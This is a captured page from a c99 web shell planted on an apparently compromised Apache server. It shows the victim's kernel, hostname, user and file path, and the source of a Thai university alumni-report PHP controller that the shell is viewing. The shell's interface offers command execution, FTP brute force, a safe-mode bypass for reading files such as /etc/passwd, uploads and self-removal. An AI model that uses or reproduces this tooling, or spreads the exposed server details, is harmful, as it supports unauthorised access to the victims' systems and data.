!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/ealumni/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rpt_ea.php (23.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('ea_controller.php');
class 
Rpt_ea extends Ea_controller {

//    function __construct() {
//        parent::Controller();
//    }

    
function searchRptRis001() {
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'---เลือกหลักสูตร---');

        
$this->output($this->config->item("ea_folder")."v_searchRptRis001");
    }

    function 
rptRis001() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId');

            
$this->contents['rs_am']= $this->am->qryAmByNameAndPf($con_rs_am,'',$ord_rs_am);

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis001");
        } else {
            
$this->searchRptRis001();
        }
    }

    function 
rptRis001Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
    
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->cur->curId $this->input->post('curId');
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->contents['graduateYear'] = $this->input->post('graduateYear');

        
$con_rs_am = array('curId'            => $this->input->post('curId'),
                           
'graduateYear'    => $this->input->post('graduateYear'));
        
$ord_rs_am = array('am.alumniId');

        
$this->contents['rs_am']= $this->am->qryAmByNameAndPf($con_rs_am,'',$ord_rs_am);
            
        if(
substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis001");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis001PDF");
        }
    }
    function 
searchRptRis002() {
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'---เลือกหลักสูตร---');

        
$this->output($this->config->item("ea_folder")."v_searchRptRis002");
    
    }

    function 
rptRis002() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId');

            
$this->contents['rs_am']= $this->am->qryAmAndAbByAdd($con_rs_am,'',$ord_rs_am);


                
$this->output_detail($this->config->item("ea_folder")."v_rptRis002");
        } else {
            
$this->searchRptRis002();
        }
    }

    function 
rptRis002Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->cur->curId $this->input->post('curId');
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->contents['graduateYear'] = $this->input->post('graduateYear');

        
$con_rs_am = array('curId'            => $this->input->post('curId'),
                           
'graduateYear'    => $this->input->post('graduateYear'));
        
$ord_rs_am = array('am.alumniId');

        
$this->contents['rs_am']= $this->am->qryAmAndAbByAdd($con_rs_am,'',$ord_rs_am);
            
        if(
substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis002");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis002PDF");
        }
    }
    function 
searchRptRis003() {
        
$ord_rs_ta = array('taNameT');
        
$this->load->model($this->config->item('ea_folder').'mo_typeaward','ta');
        
$this->contents['rs_ta'] = $this->ta->get_options('','',$ord_rs_ta,'--เลือก-ระเภทรางวัล-');

        
$ord_rs_la = array('laNameT');
        
$this->load->model($this->config->item('ea_folder').'mo_levelaward','la');
        
$this->contents['rs_la'] = $this->la->get_options('','',$ord_rs_la,'--เลือกประเภทรางวัล--');

        
$this->output($this->config->item("ea_folder")."v_searchRptRis003");
    
    }

    function 
rptRis003() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('taId','ประเภทรางวัล','trim|required|xss_clean');
        
$this->form_validation->set_rules('laId','ระดับการได้รับรางวัล','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item('ea_folder').'mo_typeaward','ta');
            
$this->load->model($this->config->item('ea_folder').'mo_levelaward','la');
            
$this->load->model($this->config->item("ea_folder").'mo_alumnimain','am');
            
$this->load->model($this->config->item("ea_folder").'mo_hisaward','ha');

            
$this->ta->taId $this->input->post('taId');
            
$this->contents['qu_ta'] = $this->ta->get_by_key();

            
$this->la->laId $this->input->post('laId');
            
$this->contents['qu_la'] = $this->la->get_by_key();

            
$con_rs_ha = array('taId'    => $this->input->post('taId'),
                               
'laId'    => $this->input->post('laId'));
            
$ord_rs_ha = array('ha.alumniId' => '');
            
$this->contents['rs_ha']= $this->ha->qryHaAndAm($con_rs_ha,$ord_rs_ha,'');
            
//echo $this->db->last_query();

                
$this->output_detail($this->config->item("ea_folder")."v_rptRis003");
        } else {
            
$this->searchRptRis003();
        }
    }
    function 
rptRis003Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_typeaward','ta');
        
$this->load->model($this->config->item('ea_folder').'mo_levelaward','la');
        
$this->load->model($this->config->item("ea_folder").'mo_alumnimain','am');
        
$this->load->model($this->config->item("ea_folder").'mo_hisaward','ha');

        
$this->ta->taId $this->input->post('taId');
        
$this->contents['qu_ta'] = $this->ta->get_by_key();

        
$this->la->laId $this->input->post('laId');
        
$this->contents['qu_la'] = $this->la->get_by_key();

        
$con_rs_ha = array('taId'    => $this->input->post('taId'),
                           
'laId'    => $this->input->post('laId'));
        
$ord_rs_ha = array('ha.alumniId');
        
$this->contents['rs_ha']= $this->ha->qryHaAndAm($con_rs_ha,'',$ord_rs_ha);

        if(
substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis003");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis003PDF");
        }
    }

    function 
searchRptRis004() {
        
        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'','y');

        
$this->output($this->config->item("ea_folder")."v_searchRptRis004");
    
    }
    function 
rptRis004() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {
        
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');

            
$curId $this->input->post('curId');
            
$gAcY $this->input->post('graduateYear');
            
$total $this->am->qrySum($curId,$gAcY);
            
$hundred 100;
            
            
$work[0] = $this->am->qryWorkByStudentSexM($curId,$gAcY);
            
$work[1] = $this->am->qryWorkByStudentSexF($curId,$gAcY);
            
$work[2] = $work[0]+$work[1];
            
$work[3] = ($work[2]*$hundred)/$total ;

            
$edu[0] = $this->am->qryEduByStudentSexM($curId,$gAcY);
            
$edu[1] = $this->am->qryEduByStudentSexF($curId,$gAcY);
            
$edu[2] = $edu[0]+$edu[1];
            
$edu[3] = ($edu[2]*$hundred)/$total;

            
$inv[0] = $this->am->qryInvByStudentSexM($curId,$gAcY);
            
$inv[1] = $this->am->qryInvByStudentSexF($curId,$gAcY);
            
$inv[2] = $inv[0]+$inv[1];
            
$inv[3] = ($inv[2]*$hundred)/$total;

            
$qn[0] = $this->am->qryQnAndAbByStudentSexM($curId,$gAcY);        
            
$qn[1] = $this->am->qryQnAndAbByStudentSexF($curId,$gAcY);
            
$qn[2] = $qn[0]+$qn[1];
            
$qn[3] = ($qn[2]*$hundred)/$total;
            
            
$pfs[0] = $this->am->qryPfsByStudentSexM($curId,$gAcY);        
            
$pfs[1] = $this->am->qryPfsByStudentSexF($curId,$gAcY);
            
$pfs[2] = $pfs[0]+$pfs[1];
            
$pfs[3] = ($pfs[2]*$hundred)/$total;

            
$workW[0] = $this->am->qryCheckWorkWByM($curId,$gAcY);        
            
$workW[1] = $this->am->qryCheckWorkWByF($curId,$gAcY);
            
$workW[2] = $workW[0]+$workW[1];
            
$workW[3] = ($workW[2]*$hundred)/$total;

            
$this->contents['work'] = $work;
            
$this->contents['edu'] = $edu;
            
$this->contents['inv'] = $inv;
            
$this->contents['qn'] = $qn;
            
$this->contents['pfs'] = $pfs;
            
$this->contents['workW'] = $workW;        
            
                
$this->output_detail($this->config->item("ea_folder")."v_rptRis004");
        } else {
            
$this->searchRptRis004();
        }
    }
    function 
rptRis004Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
        
$this->cur->curId $this->input->post('curId');
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->contents['graduateYear'] = $this->input->post('graduateYear');

        
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');

        
$curId $this->input->post('curId');
        
$gAcY $this->input->post('graduateYear');
        
$total $this->am->qrySum($curId,$gAcY);
        
$hundred 100;
            
        
$work[0] = $this->am->qryWorkByStudentSexM($curId,$gAcY);
        
$work[1] = $this->am->qryWorkByStudentSexF($curId,$gAcY);
        
$work[2] = $work[0]+$work[1];
        
$work[3] = ($work[2]*$hundred)/$total;

        
$edu[0] = $this->am->qryEduByStudentSexM($curId,$gAcY);
        
$edu[1] = $this->am->qryEduByStudentSexF($curId,$gAcY);
        
$edu[2] = $edu[0]+$edu[1];
        
$edu[3] = ($edu[2]*$hundred)/$total;

        
$inv[0] = $this->am->qryInvByStudentSexM($curId,$gAcY);
        
$inv[1] = $this->am->qryInvByStudentSexF($curId,$gAcY);
        
$inv[2] = $inv[0]+$inv[1];
        
$inv[3] = ($inv[2]*$hundred)/$total;

        
$qn[0] = $this->am->qryQnAndAbByStudentSexM($curId,$gAcY);
        
$qn[1] = $this->am->qryQnAndAbByStudentSexF($curId,$gAcY);
        
$qn[2] = $qn[0]+$qn[1];
        
$qn[3] = ($qn[2]*$hundred)/$total;
            
        
$pfs[0] = $this->am->qryPfsByStudentSexM($curId,$gAcY);
        
$pfs[1] = $this->am->qryPfsByStudentSexF($curId,$gAcY);
        
$pfs[2] = $pfs[0]+$pfs[1];
        
$pfs[3] = ($pfs[2]*$hundred)/$total;

        
$workW[0] = $this->am->qryCheckWorkWByM($curId,$gAcY);
        
$workW[1] = $this->am->qryCheckWorkWByF($curId,$gAcY);
        
$workW[2] = $workW[0]+$workW[1];
        
$workW[3] = ($workW[2]*$hundred)/$total;

        
$this->contents['work'] = $work;
        
$this->contents['edu'] = $edu;
        
$this->contents['inv'] = $inv;
        
$this->contents['qn'] = $qn;
        
$this->contents['pfs'] = $pfs;
        
$this->contents['workW'] = $workW;

        
//echo $this->db->last_query();

        
if(substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis004");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis004PDF");
        }
    }
    function 
searchRptRis005() {

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'y');
        
        
$this->output($this->config->item("ea_folder")."v_searchRptRis005");
    }

    function 
rptRis005() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
            
$this->load->model($this->config->item('ea_folder').'mo_hisaward','ha');
            
$this->load->model($this->config->item('ea_folder').'mo_hiswork','hw');
            
$this->load->model($this->config->item('ea_folder').'mo_hiseducation','he');
            
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();

            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('alumniId'    => '');
            
//$this->contents['rs_am']= $this->am->qryAmAndHwAndHa($con_rs_am,'',$ord_rs_am);
            
$rs_am $this->am->qryAmByNameAndPf($con_rs_am,$ord_rs_am,'');
            
//echo $this->db->last_query();

            
$arr = array();
            if(
$rs_am->num_rows()) {
                
$i 0;
                foreach(
$rs_am->result() as $row_am) {

                    
$qu_ha $this->ha->qryHaAndAm($row_am->alumniId);
                    echo 
$this->db->last_query();    


                    
//$con_rs_ha = array('am.programId'        => $this->input->post('curId'),
                    //                   'am.graduateYear'    => $this->input->post('graduateYear'));
                    //$ord_rs_ha = array('ha.alumniId'        => '');
                    //$qu_ha = $this->ha->qryHaAndAm($con_rs_ha,$ord_rs_ha,'');
                    

                    //$con_rs_hw = array('am.programId'        => $this->input->post('curId'),
                    //                   'am.graduateYear'    => $this->input->post('graduateYear'));
                    //$ord_rs_hw = array('hw.alumniId'        => '');
                    //$qu_work = $this->hw->qryHwAndAm($con_rs_hw,$ord_rs_hw,'');

                    //$con_rs_he = array('am.programId'        => $this->input->post('curId'),
                    //                   'am.graduateYear'    => $this->input->post('graduateYear'));
                    //$ord_rs_he = array('he.alumniId'        => '');
                    //$qu_work = $this->he->qryHeAndAm($con_rs_he,$ord_rs_he,'');
                    //echo $this->db->last_query();    


                    //$arr[$i]['std'] = $qu_am;
                    //$arr[$i]['info'] = $qu_info;
                    //$arr[$i]['add'] = $qu_add;
                    //$arr[$i]['work'] = $qu_hw;
                    
$arr[$i]['award'] = $qu_ha;
                    
//$arr[$i]['edu'] = $qu_he;

                    
$i++;
                }
            }
            
print_r($arr);
            
//$this->contents['arr'] = $arr;

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis005");
        } else {
            
$this->searchRptRis005();
        }
    }
    function 
rptRis005Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->cur->curId $this->input->post('curId');
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->contents['graduateYear'] = $this->input->post('graduateYear');

        
$con_rs_am = array('curId'            => $this->input->post('curId'),
                           
'graduateYear'    => $this->input->post('graduateYear'));
        
$ord_rs_am = array('am.alumniId');
        
//$grp_rs_am = array('hw.seqId','ha.seqId','he.seqId');

        
$this->contents['rs_am']= $this->am->qryAmAndHwAndHa($con_rs_am,'',$ord_rs_am);

        if(
substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis005");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis005PDF");
        }
    }
    function 
searchRptRis006() {

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'y');
        
        
$this->output($this->config->item("ea_folder")."v_searchRptRis006");
    }


    function 
rptRis006() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {

            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
//$this->load->model($this->config->item('ea_folder').'mo_basesalary','bs');

            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();
            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId'    => '');
            
$rs_am $this->am->qryAmByNameAndPf($con_rs_am,$ord_rs_am,'');
            
$this->contents['rs_am'] = $rs_am;
            
/*$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
            $this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            $this->load->model($this->config->item('ea_folder').'mo_alumniqn','aq');

            $curId = $this->input->post('curId');
            $gAcY = $this->input->post('graduateYear');

            $this->cur->curId = $curId;
            $this->contents['qu_cur'] = $this->cur->get_by_key();
            $this->contents['graduateYear'] = $gAcY;

            $con_rs_am = array('curId'            => $curId,
                               'graduateYear'    => $gAcY);
            $ord_rs_am = array('am.alumniId'    => '');
            $rs_am = $this->am->qryAmByNameAndPf($con_rs_am,$ord_rs_am,'');
            $this->contents['rs_am'] = $rs_am;*/

            /*if($rs_am->num_rows()) {
                foreach($rs_am->result() as $row_am) {
                    $con_qu_aq = array('alumniId'    => $row_am->alumniId);
                    $qu_aq = $this->aq->qryAq($con_qu_aq);
                    if($qu_aq->num_rows()) {
                        $salary = ($qu_aq->row()->workCheck=='Y') ? $qu_aq->row()->workSalary1 : '-';
                    } else {
                        echo "no aq";
                    }
                }
            }*/

            
            
$this->load->model($this->config->item('ea_folder').'mo_basesalary','bs');
            
$ord_rs_bs = array('bs.edgId'        => '');
            
$this->contents['rs_bs'] = $this->bs->qryBsAndCur('',$ord_rs_bs,'');


            
$curId $this->input->post('curId');
            
$gAcY $this->input->post('graduateYear');

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis006");
        } else {
            
$this->searchRptRis006();
        }
    }
        

    function 
searchRptRis007() {

        
$con_rs_cur = array("curStatus" => "Y"); 
        
$ord_rs_cur = array("curName" => "curName");
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,''$ord_rs_cur,'y');
        
        
$this->output($this->config->item("ea_folder")."v_searchRptRis007");
    }

    function 
rptRis007() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('curId','ชื่อหลักสูตร','trim|required|xss_clean');
        
$this->form_validation->set_rules('graduateYear','ปีที่จบการศึกษา','trim|required|xss_clean');

        if(
$this->form_validation->run()== true) {
            
            
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
            
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
            
//$this->load->model($this->config->item('ea_folder').'mo_basesalary','bs');

            
$this->cur->curId $this->input->post('curId');
            
$this->contents['qu_cur'] = $this->cur->get_by_key();
            
$this->contents['graduateYear'] = $this->input->post('graduateYear');

            
            
$con_rs_am = array('curId'            => $this->input->post('curId'),
                               
'graduateYear'    => $this->input->post('graduateYear'));
            
$ord_rs_am = array('am.alumniId'    => '');
            
$rs_am $this->am->qryAmByNameAndPf($con_rs_am,$ord_rs_am,'');
            
$this->contents['rs_am'] = $rs_am;

            if(
$rs_am->num_rows()) {
                foreach(
$rs_am->result() as $row_am) {
                    
//$con_qu_bs = array('bs.edgId'    => '');
                    
$ord_qu_bs = array('bs.edgId'    => '');
                    
$this->load->model($this->config->item('ea_folder').'mo_basesalary','bs');
                    
$qu_bs $this->bs->qryBsAndCur('',$ord_qu_bs ,'');
                    
//echo $this->db->last_query();
                    
if($qu_bs->num_rows()) {
                        
//$salary = ($qu_bs->row()->bsAmount) ? $qu_bs->row()->workSalary1 : '-';
                    
} else {
                        echo 
"no aq";
                    }
                }
            }
            
$this->load->model($this->config->item('ea_folder').'mo_basesalary','bs');
            
$ord_rs_bs = array('bs.edgId'        => '');
            
$this->contents['rs_bs'] = $this->bs->qryBsAndCur('',$ord_rs_bs,'');
            
//echo $this->db->last_query();

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis007");
        } else {
            
$this->searchRptRis007();
        }
    }
    function 
rptRis007Export() {
        
$this->load->model($this->config->item('ea_folder').'mo_alumnimain','am');
        
        
$this->load->model($this->config->item('ea_folder').'mo_curriculum','cur');
        
$this->cur->curId $this->input->post('curId');
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->contents['graduateYear'] = $this->input->post('graduateYear');

        
$con_rs_am = array('am.programId'        => $this->input->post('curId'),
                           
'am.graduateYear'    => $this->input->post('graduateYear'));
        
$ord_rs_am = array('am.alumniId'        => '');

        
$this->contents['rs_am']= $this->am->qryAmAndBsQnPfByAlumniId($con_rs_am,$ord_rs_am,'');
        
//echo $this->db->last_query();

        
if(substr_count(strtolower($this->input->post('exportB')), "excel") > 0){
            
$this->contents['typeShow'] = "E";

            
$this->output_detail($this->config->item("ea_folder")."v_rptRis007");
        } else {
            
$this->output_pdf($this->config->item("ea_folder")."v_rptRis007PDF");
        }
    }
        
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--